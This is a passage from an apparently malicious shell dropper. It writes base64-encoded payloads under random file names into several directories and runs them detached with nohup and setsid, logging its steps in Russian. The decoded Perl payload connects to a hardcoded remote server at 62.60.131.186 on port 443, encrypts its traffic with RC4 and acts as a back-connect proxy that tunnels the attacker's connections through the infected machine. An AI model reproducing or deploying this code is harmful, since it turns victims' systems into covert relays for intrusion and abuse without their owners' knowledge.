IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #37 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #37 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 38 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 